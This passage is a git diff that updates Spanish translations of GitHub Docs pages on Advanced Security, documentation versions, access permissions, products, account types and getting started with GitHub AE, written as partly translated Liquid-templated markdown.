-Once your system is set up, you can enable and disable these features at the organization or repository level. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
-
-{% endif %}
-
-{% ifversion not ghae %}
-## Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_dotcom_the_website %}
-
-For public repositories on {% data variables.product.prodname_dotcom_the_website %}, these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public.
-
-For other repositories, once you have a license for your enterprise account, you can enable and disable these features at the organization or repository level. {% ifversion fpt or ghes > 3.0 or ghec %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
-
-{% endif %}
+Para obtener más información sobre las características de {% data variables.product.prodname_advanced_security %} que se encuentran en desarrollo, consulta la sección "[Plan de trabajo de {% data variables.product.prodname_dotcom %}](https://github.com/github/roadmap)". Para obtener un resumen de todas las características de seguridad, consulta la sección "[Características de seguridad de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
 {% ifversion fpt or ghec %}
-If you have an enterprise account, license use for the entire enterprise is shown on your enterprise license page. For more information, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+{% data variables.product.prodname_GH_advanced_security %} features are enabled for all public repositories on {% data variables.product.prodname_dotcom_the_website %}. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable these features for private and internal repositories. They also have access an organization-level security overview. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/about-github-advanced-security#enabling-advanced-security-features).{% endif %}
+{% endif %}
+
+{% ifversion ghes or ghec %}
+## Desplegar GitHub Advanced Security en tu empresa
+
+To learn about what you need to know to plan your {% data variables.product.prodname_GH_advanced_security %} deployment at a high level, see "[Overview of {% data variables.product.prodname_GH_advanced_security %} deployment](/admin/advanced-security/overview-of-github-advanced-security-deployment)."
+
+Para revisar las fases de implementación, te recomendamos ver con más detalle la sección "[Desplegar la {% data variables.product.prodname_GH_advanced_security %} en tu empresa](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)".
+{% endif %}
+
+{% ifversion not fpt %}
+## Enabling {% data variables.product.prodname_advanced_security %} features
+
+{%- ifversion ghes %}
+El administrador de sitio debe habilitar la {% data variables.product.prodname_advanced_security %} para {% data variables.product.product_location %} antes de que puedas utilizar estas características. For more information, see "[Configuring Advanced Security features](/admin/configuration/configuring-advanced-security-features).
+
+Una vez que tu sistema se haya configurado, puedes habilitar e inhabilitar estas características a nivel de organización o de repositorio.
+
+{%- elsif ghec %}
+For public repositories these features are permanently on and can only be disabled if you change the visibility of the project so that the code is no longer public.
+
+En el caso de otros repositorios, una vez que tengas una licencia para tu cuenta empresarial, puedes habilitar e inhabilitar estas características a nivel de repositorio u organización.
+
+{%- elsif ghae %}
+You can enable and disable these features at the organization or repository level.
+{%- endif %}
+Para obtener más información, consulta las secciones "[Administrar la configuración de seguridad y análisis para tu organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" y "[Administrar la configuración de seguridad y análisis para tu repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)".
+
+{% ifversion ghec or ghes > 3.0 %}
+Si tienes una cuenta empresarial, el uso de la licencia para toda la empresa se muestra en tu página de licencia empresarial. Para obtener más información, consulta la sección "[Visualizar tu uso de {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage)".
+{% endif %}
 
 {% endif %}
 
 {% ifversion ghec or ghes > 3.0 or ghae  %}
+## Leer más
 
-## Further reading
-
-- "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise account](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
+- "[Requerir políticas para la {% data variables.product.prodname_advanced_security %} en tu cuenta empresarial](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)"
 
 {% endif %}
diff --git a/translations/es-ES/content/get-started/learning-about-github/about-versions-of-github-docs.md b/translations/es-ES/content/get-started/learning-about-github/about-versions-of-github-docs.md
new file mode 100644
index 0000000000..920bc133aa
--- /dev/null
+++ b/translations/es-ES/content/get-started/learning-about-github/about-versions-of-github-docs.md
@@ -0,0 +1,56 @@
+---
+title: About versions of GitHub Docs
+intro: "You can read documentation that reflects the {% data variables.product.company_short %} product you're currently using."
+versions: '*'
+shortTitle: Docs versions
+---
+
+## About versions of {% data variables.product.prodname_docs %}
+
+{% data variables.product.company_short %} offers different products for storing and collaborating on code. The product you use determines which features are available to you. Para obtener más información, consulta "Productos de [{% data variables.product.company_short %}](/get-started/learning-about-github/githubs-products)".
+
+This website, {% data variables.product.prodname_docs %}, provides documentation for all of {% data variables.product.company_short %}'s products. If the content you're reading applies to more than one product, you can choose the version of the documentation that's relevant to you by selecting the product you're currently using.
+
+At the top of a page on {% data variables.product.prodname_docs %}, select the dropdown menu and click a product. If your browser window is not wide enough to display the full navigation bar, you may need to click {% octicon "three-bars" aria-label="The three bars icon" %} first.
+
+![Screenshot of the dropdown menu for picking a version of {% data variables.product.prodname_docs %} to view](/assets/images/help/docs/version-picker.png)
+
+{% note %}
+
+**Note**: You can try changing the version now. You're viewing {% ifversion ghes %}a{% else %}the{% endif %} {% ifversion fpt %}Free, Pro, & Team{% else %}{% data variables.product.product_name %}{% endif %} version of this article.
+
+{% endnote %}
+
+## Determining which {% data variables.product.company_short %} product you use
+
+You can determine which {% data variables.product.company_short %} product you're currently using by reviewing the URL in the address bar of your browser and the heading for the {% data variables.product.prodname_dotcom %} website you're on.
+
+You may use more than one {% data variables.product.company_short %} product. For example, you might contribute to open source on {% data variables.product.prodname_dotcom_the_website %} and collaborate on code on your employer's {% data variables.product.prodname_ghe_server %} instance. You may need to view different versions of the same article at different times, depending on the problem you're currently trying to solve.
+
+### {% data variables.product.prodname_dotcom_the_website %} plans or {% data variables.product.prodname_ghe_cloud %}
+
+If you access {% data variables.product.prodname_dotcom %} at https://github.com, you're either using the features of a Free, Pro, or Team plan, or you're using {% data variables.product.prodname_ghe_cloud %}.
+
+In a wide browser window, there is no text that immediately follows the {% data variables.product.company_short %} logo on the left side of the header.
+
+![Screenshot of the address bar and the {% data variables.product.prodname_dotcom_the_website %} header in a browser](/assets/images/help/docs/header-dotcom.png)
+
+On {% data variables.product.prodname_dotcom_the_website %}, each account has its own plan. Each personal account has an associated plan that provides access to certain features, and each organization has a different associated plan. If your personal account is a member of an organization on {% data variables.product.prodname_dotcom_the_website %}, you may have access to different features when you use resources owned by that organization than when you use resources owned by your personal account. Para obtener más información, consulta la sección "[Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
+
+If you don't know whether an organization uses {% data variables.product.prodname_ghe_cloud %}, ask an organization owner. For more information, see "[Viewing people's roles in an organization](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization)."
+
+### {% data variables.product.prodname_ghe_server %}
+
+If you access {% data variables.product.prodname_dotcom %} at a URL other than https://github.com, `https://*.githubenterprise.com`, `https://*.github.us`, or `https://*.ghe.com`, you're using {% data variables.product.prodname_ghe_server %}. For example, you may access {% data variables.product.prodname_ghe_server %} at `https://github.YOUR-COMPANY-NAME.com`. Your administrators may choose a URL that doesn't include the word "{% data variables.product.company_short %}."
+
+In a wide browser window, the word "Enterprise" immediately follows the {% data variables.product.company_short %} logo on the left side of the header.
+
+![Screenshot of address bar and {% data variables.product.prodname_ghe_server %} header in a browser](/assets/images/help/docs/header-ghes.png)
+
+### {% data variables.product.prodname_ghe_managed %}
+
+If you access {% data variables.product.prodname_dotcom %} at `https://*.githubenterprise.com`, `https://*.github.us`, or `https://*.ghe.com`, you're using {% data variables.product.prodname_ghe_managed %}.
+
+In a wide browser window, the words "{% data variables.product.prodname_ghe_managed %}" immediately follow the {% data variables.product.company_short %} logo in the header.
+
+![Address bar and {% data variables.product.prodname_ghe_managed %} header in a browser](/assets/images/help/docs/header-ghae.png)
diff --git a/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md
index 9d725ebcf0..841236400b 100644
--- a/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md
+++ b/translations/es-ES/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -1,5 +1,5 @@
 ---
-title: Access permissions on GitHub
+title: Permisos de acceso en GitHub
 redirect_from:
   - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do
   - /articles/what-are-the-different-types-of-team-permissions
@@ -7,7 +7,7 @@ redirect_from:
   - /articles/access-permissions-on-github
   - /github/getting-started-with-github/access-permissions-on-github
   - /github/getting-started-with-github/learning-about-github/access-permissions-on-github
-intro: 'While you can grant read/write access to collaborators on a personal repository, members of an organization can have more granular access permissions for the organization''s repositories.'
+intro: 'Con los roles, puedes controlar quién tiene acceso a tus cuentas y recursos de {% data variables.product.product_name %}, así como el nivel de acceso que tiene cada persona.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,32 +16,41 @@ versions:
 topics:
   - Permissions
   - Accounts
-shortTitle: Access permissions
+shortTitle: Acceder a los permisos
 ---
-## Personal user accounts
 
-A repository owned by a user account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)."
+## Acerca de los permisos de acceso en {% data variables.product.prodname_dotcom %}
 
-## Organization accounts
+{% data reusables.organizations.about-roles %}
 
-Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see:
-- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[About teams](/articles/about-teams)"
+Los roles funcionan de forma diferente para los diferentes tipos de cuenta. Para obtener más información sobre las cuentas, consulta la sección "[Tipos de cuenta de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-{% ifversion fpt or ghec %}
+## Cuentas de usuarios personales
 
-## Enterprise accounts
+Un repositorio que es propiedad de una cuenta de usuario y tiene dos niveles de permiso: el *propietario del repositorio* y los *colaboradores*. Para obtener más información, consulta "[Niveles de permiso para un repositorio de cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)".
 
-*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account. *Billing managers* can manage your enterprise account's billing settings. Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+## Cuentas de organización
 
-If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.product.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.product.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
+Los miembros de la organización pueden tener roles de *propietario*{% ifversion fpt or ghec %}, *gerente de facturación*,{% endif %} o *miembro*. Los propietarios tienen acceso administrativo completo a tu organización {% ifversion fpt or ghec %}, mientras que los gerentes de facturación pueden administrar parámetros de facturación{% endif %}. El miembro tiene un rol predeterminado para todos los demás. Puedes administrar los permisos de acceso para múltiples miembros a la vez con equipos. Para obtener más información, consulta:
+- "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
+- [Permisos de tablero de proyecto para una organización](/articles/project-board-permissions-for-an-organization)"
+- "[Roles de repositorio para una organización](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- [Acerca de los equipos](/articles/about-teams)"
 
+## Cuentas de empresa
+
+{% ifversion fpt %}
 {% data reusables.gated-features.enterprise-accounts %}
 
+For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. Para obtener más información, consulta la sección "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)".
+
+{% ifversion ghec %}
+Si una empresa utiliza {% data variables.product.prodname_emus %}, los miembros se aprovisionan como cuentas de usuario nuevas en {% data variables.product.prodname_dotcom %} y el proveedor de identidad los administra en su totalidad. Los {% data variables.product.prodname_managed_users %} tienen acceso de solo lectura a los repositorios que no son parte de su empresa y no pueden interactuar con los usuarios que tampoco sean miembros de la empresa. Dentro de las organizaciones que pertenecen a la empresa, se puede otorgar los mismos niveles de acceso granular de los {% data variables.product.prodname_managed_users %} que estén disponibles para las organizaciones normales. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)".
+{% endif %}
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- [Tipos de cuentas de {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts)"
diff --git a/translations/es-ES/content/get-started/learning-about-github/githubs-products.md b/translations/es-ES/content/get-started/learning-about-github/githubs-products.md
index 769487d60e..ead6b92dca 100644
--- a/translations/es-ES/content/get-started/learning-about-github/githubs-products.md
+++ b/translations/es-ES/content/get-started/learning-about-github/githubs-products.md
@@ -21,7 +21,11 @@ topics:
 
 ## Acerca de los productos de {% data variables.product.prodname_dotcom %}
 
-{% data variables.product.prodname_dotcom %} ofrece productos gratuitos y pagos. Puedes ver los precios y una lista completa de las funciones de cada producto en <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+{% data variables.product.prodname_dotcom %} ofrece productos gratuitos y de pago para clasificar y colaborar con código. Algunos productos aplican solo para cuentas de usuario, mientras que otros planes aplican solo a cuentas empresariales u organizacionales. Para obtener más información sobre las cuentas, consulta la sección "[Tipos de cuenta de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
+
+Puedes ver los precios y una lista completa de las funciones de cada producto en <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+
+Cuando leas los {% data variables.product.prodname_docs %}, asegúrate de seleccionar la versión que refleja tu producto. Para obtener más información, consulta la sección "[Acerca de las versiones de {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)".
 
 ## {% data variables.product.prodname_free_user %} for user accounts
 
diff --git a/translations/es-ES/content/get-started/learning-about-github/index.md b/translations/es-ES/content/get-started/learning-about-github/index.md
index 32d67d6de5..5d526fe501 100644
--- a/translations/es-ES/content/get-started/learning-about-github/index.md
+++ b/translations/es-ES/content/get-started/learning-about-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Learning about GitHub
-intro: 'Learn how you can use {% data variables.product.company_short %} products to improve your software management process and collaborate with other people.'
+title: Obtener información sobre GitHub
+intro: 'Aprende cómo puedes utilizar los productos de {% data variables.product.company_short %} para mejorar tu proceso de administración de software y colaborar con otras personas.'
 redirect_from:
   - /articles/learning-about-github
   - /github/getting-started-with-github/learning-about-github
@@ -17,10 +17,11 @@ topics:
   - Security
 children:
   - /githubs-products
+  - /about-versions-of-github-docs
   - /github-language-support
-  - /about-github-advanced-security
   - /types-of-github-accounts
   - /access-permissions-on-github
+  - /about-github-advanced-security
   - /faq-about-changes-to-githubs-plans
 ---
 
diff --git a/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md
index 4981f1858c..b78f2c73c3 100644
--- a/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md
+++ b/translations/es-ES/content/get-started/learning-about-github/types-of-github-accounts.md
@@ -1,6 +1,6 @@
 ---
-title: Types of GitHub accounts
-intro: 'Your user account is your identity on {% data variables.product.product_location %}. Your user account can be a member of any number of organizations.{% ifversion fpt or ghec %} Organizations can belong to enterprise accounts.{% endif %}'
+title: Tipos de cuentas de GitHub
+intro: 'Las cuentas de {% data variables.product.product_name %} te permiten organizar y controlar el acceso al código.'
 redirect_from:
   - /manage-multiple-clients
   - /managing-clients
@@ -21,73 +21,67 @@ topics:
   - Desktop
   - Security
 ---
-{% ifversion fpt or ghec %}
-For a full list of features for each {% data variables.product.product_name %} product, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)."
-{% endif %}
 
-## Personal user accounts
+## Acerca de las cuentas de {% data variables.product.product_name %}
 
-Every person who uses {% data variables.product.product_location %} has their own user account, which includes:
+Con {% data variables.product.product_name %}, puedes almacenar y colaborar con el código. Las cuentas te permiten organizar y controlar el acceso a dicho código. Existen tres tipos de cuentas en {% data variables.product.product_name %}.
+- Cuentas personales
+- Cuentas de organización
+- Cuentas de empresa
 
-{% ifversion fpt or ghec %}
+Toda persona que utilice {% data variables.product.product_name %} inicia sesión en una cuenta personal. Una cuenta de organización amplía la colaboración entre cuentas personales múltiples y {% ifversion fpt or ghec %}una cuenta empresarial{% else %}la cuenta empresarial de {% data variables.product.product_location %}{% endif %} permite una administración centralizada de varias organizaciones.
 
-- Unlimited public and private repositories with {% data variables.product.prodname_free_user %}
-- Unlimited collaborators with {% data variables.product.prodname_free_user %}
-- Additional features for private repositories with {% data variables.product.prodname_pro %}
-- Ability to [invite repository collaborators](/articles/inviting-collaborators-to-a-personal-repository)
+## Cuentas personales
 
-{% else %}
+Cada persona que utilice {% data variables.product.product_location %} deberá iniciar sesión en una cuenta personal. Tu cuenta personal es tu identidad en {% data variables.product.product_location %} y tiene un nombre de usuario y perfil. Por ejemplo, puedes ver el [perfil de @octocat](https://github.com/octocat).
 
-- Unlimited repositories and [collaborators](/articles/permission-levels-for-a-user-account-repository)
-- Ability to [add unlimited repository collaborators](/articles/inviting-collaborators-to-a-personal-repository)
+Tu cuenta personal puede ser propietaria de recursos tales como repositorios, paquetes y proyectos. En cualquier momento que realices una acción en {% data variables.product.product_location %}, tal como crear una propuesta o revisar una solicitud de cambios, dicha acción se atribuirá a tu cuenta personal.
 
-{% endif %}
-
-{% ifversion fpt or ghec %}
+{% ifversion fpt or ghec %}Cada cuenta personal utiliza ya sea {% data variables.product.prodname_free_user %} o {% data variables.product.prodname_pro %}. Todas las cuentas personales pueden ser propietarias de una cantidad ilimitada de repositorios públicos o privados, con una cantidad ilimitada de colaboradores en dichos repositorios. Si utilizas {% data variables.product.prodname_free_user %}, los repositorios privados que le pertenezcan a tu cuenta personal tendrán un conjunto de características limitado. Puedes mejorar a {% data variables.product.prodname_pro %} para obtener el conjunto total de características para los repositorios privados. Para obtener más información, consulta "Productos de [{% data variables.product.prodname_dotcom %}](/articles/githubs-products)". {% else %}Puedes crear una cantidad ilimitada de repositorios que le pertenezcan a tu cuenta personal, con una cantidad ilimitada de colaboradores en dichos repositorios.{% endif %}
 
 {% tip %}
 
-**Tips**:
-
-- You can use one account for multiple purposes, such as for personal use and business use. We do not recommend creating more than one account. For more information, see "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)."
-- User accounts are intended for humans, but you can give one to a robot, such as a continuous integration bot, if necessary.
-
-{% endtip %}
-
-{% else %}
-
-{% tip %}
-
-**Tip**: User accounts are intended for humans, but you can give one to a robot, such as a continuous integration bot, if necessary.
+**Tip**: Se pretende que las cuentas personales sean para humanos, pero puedes crear cuentas para automatizar la actividad en {% data variables.product.product_name %}. Este tipo de cuenta se llama "usuario máquina". Por ejemplo, puedes crear una cuenta de usuario máquina para automatizar los flujos de trabajo de integración continua (IC).
 
 {% endtip %}
 
+{% ifversion fpt or ghec %}
+La mayoría de las personas utilizarán una cuenta personal para todo su trabajo en {% data variables.product.prodname_dotcom_the_website %}, incluyendo tanto los proyectos de código abierto como el empleo pagado. Si actualmente utilizas más de una cuenta personal que hayas creado para ti mismo, te sugerimos combinar las cuentas. Para obtener más información, consulta "[Fusionar múltiples cuentas de usuario](/articles/merging-multiple-user-accounts)".
 {% endif %}
 
+## Cuentas de organización
+
+Las organizaciones son cuentas compartidas en donde una cantidad ilimitada de personas pueden colaborar en muchos proyectos al mismo tiempo.
+
+Tal como las cuentas personales, las organizaciones pueden ser propietarias de recursos tales como repositorios, paquetes y proyectos. Sin embargo, no puedes iniciar sesión en una organización. En vez de esto, cada persona firmará su propia cuenta personal y cualquier acción que tome la persona sobre los recursos organizacionales se le atribuirá a su cuenta personal. Cada cuenta personal puede ser un miembro de varias organizaciones.
+
+Se puede otorgar roles diferentes a las cuentas personales de una organización dentro de esta, lo cual otorga niveles diferentes de acceso a la organización y a sus datos. Todos los miembros pueden colaborar entre ellos en los repositorios y proyectos, pero solo los propietarios de organizaciones y administradores de seguridad pueden administrar la configuración de la organización y controlar el acceso a los datos de la organización con seguridad sofisticada y características administrativas. Para obtener más información, consulta las secciones "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" y "[Mantener tu organización segura](/organizations/keeping-your-organization-secure)".
+
+![Diagrama que muestra que los usuarios deben iniciar sesión en su cuenta de usuario personal para acceder a los recursos de una organización](/assets/images/help/overview/sign-in-pattern.png)
+
 {% ifversion fpt or ghec %}
-### {% data variables.product.prodname_emus %}
+Incluso si eres un miembro de una organización que utiliza el inicio de sesión único de SAML, aún podrás iniciar sesión en tu cuenta personal de {% data variables.product.prodname_dotcom_the_website %} y, dicha cuenta personal, se enlazará con tu identidad en el proveedor de identidad (IdP) de tu organización. Para obtener más información, consulta la sección "[Acerca de la autenticación con el inicio de sesión único de SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}{% else %}".{% endif %}
 
-With {% data variables.product.prodname_emus %}, instead of using your personal account, members of an {% data variables.product.prodname_emu_enterprise %} are provisioned accounts using the enterprise's identity provider (IdP). {% data variables.product.prodname_managed_users_caps %} authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password.
-
-{% data variables.product.prodname_managed_users_caps %} can only interact with users, repositories, and organizations that are part of their enterprise. {% data variables.product.prodname_managed_users_caps %} have read-only access to the rest of {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Sin embargo, si eres miembro de una empresa que utilice {% data variables.product.prodname_emus %} en vez de utilizar una cuenta personal que hayas creado, se aprovisionará una cuenta nueva para ti con el IdP de la empresa. Para acceder a cualquier organización que pertenezca a dicha empresa, debes autenticarte utilizando el IdP en vez de un nombre de usuario y contraseña de {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 {% endif %}
 
-## Organization accounts
+También puedes crear subgrupos anidados de miembros de la organización llamados equipos para reflejar la estructura de tu grupo y simplificar la administración del acceso. Para obtener más información, consulta la sección "[Acerca de los equipos](/organizations/organizing-members-into-teams/about-teams)".
 
-Organizations are shared accounts where groups of people can collaborate across many projects at once. Owners and administrators can manage member access to the organization's data and projects with sophisticated security and administrative features.
+{% data reusables.organizations.organization-plans %}
 
-{% data reusables.organizations.organizations_include %}
+Para obtener más información sobre todas las características de las organizaciones, consulta la sección "[Acerca de las organizaciones](/organizations/collaborating-with-groups-in-organizations/about-organizations)".
 
-{% ifversion fpt or ghec %}
-
-## Enterprise accounts
-
-With enterprise accounts, you can centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations. {% data reusables.gated-features.enterprise-accounts %}
+## Cuentas de empresa
 
+{% ifversion fpt %}
+{% data variables.product.prodname_ghe_cloud %} y {% data variables.product.prodname_ghe_server %} incluyen cuentas empresariales, las cuales permiten a los administradores administrar las políticas y facturas centralmente para organizaciones múltiples y habilitar el innersourcing entre ellas. Para obtener más información, consulta la sección "[Acerca de las cuentas empresariales](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" en la documentación de {% data variables.product.prodname_ghe_cloud %}.
+{% elsif ghec %}
+Las cuentas empresariales permiten la administración central de políticas y facturación para organizaciones múltiples. Puedes utilizar tu cuenta empresarial para administrar las políticas y facturación centralmente. A diferencia de las organizaciones, las cuentas empresariales no pueden ser propietarios directos de recursos tales como repositorios, paquetes o proyectos. En su lugar, estos recursos le pertenecen a las organizaciones dentro de la cuenta empresarial. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
+{% elsif ghes or ghae %}
+Tu cuenta empresarial es una recolección de todas las organizaciones {% ifversion ghae %}que le pertenecen a{% elsif ghes %}en{% endif %}{% data variables.product.product_location %}. Puedes utilizar tu cuenta empresarial para administrar las políticas y facturación centralmente. A diferencia de las organizaciones, las cuentas empresariales no pueden ser propietarios directos de recursos tales como repositorios, paquetes o proyectos. En su lugar, estos recursos le pertenecen a las organizaciones dentro de la cuenta empresarial. Para obtener más información, consulta "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)".
 {% endif %}
 
-## Further reading
+## Leer más
 
-{% ifversion fpt or ghec %}- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"
-- "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)"{% endif %}
-- "[Creating a new organization account](/articles/creating-a-new-organization-account)"
+{% ifversion fpt or ghec %}- "[Iniciar sesión en una cuenta {% data variables.product.prodname_dotcom %} nueva](/articles/signing-up-for-a-new-github-account)"{% endif %}
+- "[Crear una cuenta de organización nueva](/articles/creating-a-new-organization-account)"
diff --git a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md
index 34adcc9fcb..bde775066f 100644
--- a/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md
+++ b/translations/es-ES/content/get-started/onboarding/getting-started-with-github-ae.md
@@ -1,80 +1,83 @@
 ---
-title: Getting started with GitHub AE
-intro: 'Get started with setting up and configuring {% data variables.product.product_name %} for {% data variables.product.product_location %}.'
+title: Iniciar con GitHub AE
+intro: 'Inicia con la configuración y ajustes de {% data variables.product.product_name %} para {% data variables.product.product_location %}.'
 versions:
   ghae: '*'
 ---
 
-This guide will walk you through setting up, configuring, and managing settings for {% data variables.product.product_location %} on {% data variables.product.product_name %} as an enterprise owner.
+Esta guía te mostrará cómo configurar, ajustar y administrar la configuración de {% data variables.product.product_location %} en {% data variables.product.product_name %} como propietario de la empresa.
 
-## Part 1: Setting up {% data variables.product.product_name %}
-To get started with {% data variables.product.product_name %}, you can create your enterprise account, initialize {% data variables.product.product_name %}, configure an IP allow list, configure user authentication and provisioning, and manage billing for {% data variables.product.product_location %}.
+## Parte 1: Configurar {% data variables.product.product_name %}
+Para comenzar con {% data variables.product.product_name %}, puedes crear tu propia cuenta empresarial, inicializar {% data variables.product.product_name %}, configurar una lista de IP permitidas, configurar la autenticación y aprovisionamiento de usuarios y administrar la facturación de {% data variables.product.product_location %}.
 
-### 1. Creating your {% data variables.product.product_name %} enterprise account
-You will first need to purchase {% data variables.product.product_name %}. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact).
+### 1. Crear tu cuenta empresarial de {% data variables.product.product_name %}
+Primero necesitarás comprar {% data variables.product.product_name %}. Para obtener más información, contacta al [Equipo de ventas de {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact).
 
 {% data reusables.github-ae.initialize-enterprise %}
 
-### 2. Initializing {% data variables.product.product_name %}
-After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+### 2. Inicializar {% data variables.product.product_name %}
